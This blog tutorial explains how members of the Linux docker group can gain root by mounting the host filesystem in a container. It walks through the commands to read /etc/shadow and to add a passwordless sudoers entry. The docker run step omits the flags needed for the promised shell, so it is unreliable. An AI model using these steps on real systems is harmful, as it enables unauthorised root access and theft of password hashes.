How to exploit the docker group

Learn how to root a Linux system via the docker group

Published on
5 min read
How to exploit the docker group

Introduction 

In this post, we shall understand how members of the Docker group are vulnerable to exploitation. We shall find that a malicious actor can use this attack vector to his advantage and gain full root access over the entire system. 

How it works

Members of the Docker group can issue commands to the Docker API without using sudo. This allows an unprivileged user to issue Docker commands which can be used to: create, remove, modify and list containers - and much more. 

However, this means that a malicious actor can create a new container, mount the host's root partition within the container and access all the files on the system - as root! This is a trivial mistake to make, but its consequences are vast. This can be used to escalate privileges provided the user is a member of the docker group.

Exploitation steps

1. First, an attacker must verify whether the user is a member of the Docker group. This can be accomplished by the following command:

groups

Simple right? It lists all the groups the user is a member of. This is the output of groups on my system is as follows:

nobara lp wheel dialout video audio users lxd docker

Oops! The user nobara is a member of the Docker group. 

 

2. This means we can issue commands to the Docker API. Typically, in a non-virtualised system, this means that the Docker command-line interface is also installed. This can be verified with the following code:

if [ -x $(command -v docker) ]; then
    echo "Docker installed!"
else
    echo "Docker unavailable!"
fi

The code uses an if-statement to check whether the docker command is available and executable. This is accomplished via -x in the statement, while command -v is a POSIX alternative to checking whether a binary exists on the system. An appropriate message is printed if Docker does or does not exist. 

 

3. Thirdly, we must create a container that allows us to mount the host filesystem. It will then act as a mount point and allow us (within the container) to access all the files on the system. This includes sensitive files such as /etc/shadow which holds password hashes for users on the system. 

We shall use Alpine Linux in a container as it is lightweight and fast for deployment. We can check whether the alpine image is already stored in the local registry via:

docker image list | grep alpine

If output is returned, that means the image already exists and we don't have to pull it. Let's imagine it does not exist. The following command is run to download the image:

docker pull alpine

The latest version should now be downloaded on the target system. 

4. Now, we need to start a Docker container that uses this image to exploit the system. The command below creates a container and mounts the host root file system as a volume via -v at /mnt/ (within the container).

docker run --rm -v /:/mnt alpine

The image to use is supplied last. The container will also delete itself upon exit via --rm

5. We should now be in a root shell within the Docker container environment. This is usually recognized as the prompt should be different from the host system. Now, all we have to do is traverse to the /mnt/ directory where the host system was mounted. 

/ # cd /mnt/
/mnt # ls
afs         dev         lib         media       proc        sbin        sys         var
bin         etc         lib64       mnt         root        snap        tmp
boot        home        lost+found  opt         run         srv         usr
/mnt # 

Executing ls will show all the directories in the root file system; not of the container, but that of the host. We can now use cat to print the contents of /etc/shadow.

Executing

cat /etc/shadow

Simply prints the contents of the shadow file within the container! This is not what we want. Instead, we must execute:

cat etc/shadow
#or use the absolute path
cat /mnt/etc/shadow

This will print the contents of the host shadow file. 

6. We can stop here. We have root access over all the files within the host system. However, we are still working inside a container. If permitted, we can change the contents /etc/sudoers which contain the permissions on commands (especially sudo) that a user can issue. Using the entry below, we can simply append an entry to the sudoers file, exit the container and enter a root shell. 

echo "username ALL=(ALL) NOPASSWD: ALL" >> /mnt/etc/sudoers

The username will have to be replaced with the user of the system part of the docker group.

7. Exit the container using Ctrl + D or typing exit and enter:

sudo bash
# or
sudo sh

You should now have a root shell on the host system! Isn't that easy?

Conclusion

This is such an easy error to make when giving a Linux user permission to run commands. Linux groups are a neat way to handle occasions when you don't want the user to have to use sudo. However, for members of the Docker (and LXD!) group, this non-trivial error has big consequences.

Note: This process can be automated - and I already have done it for you. Check out my container enumeration and exploitation script named vostok. It's open source and enumerates a container or host system. It provides a user-friendly interface to exploit any vulnerabilities/misconfigurations found. It is written in POSIX-compliant shell and thus is portable over many Linux distributions and environments. 

Check it out here!

Author

Discussion (0)

Subscribe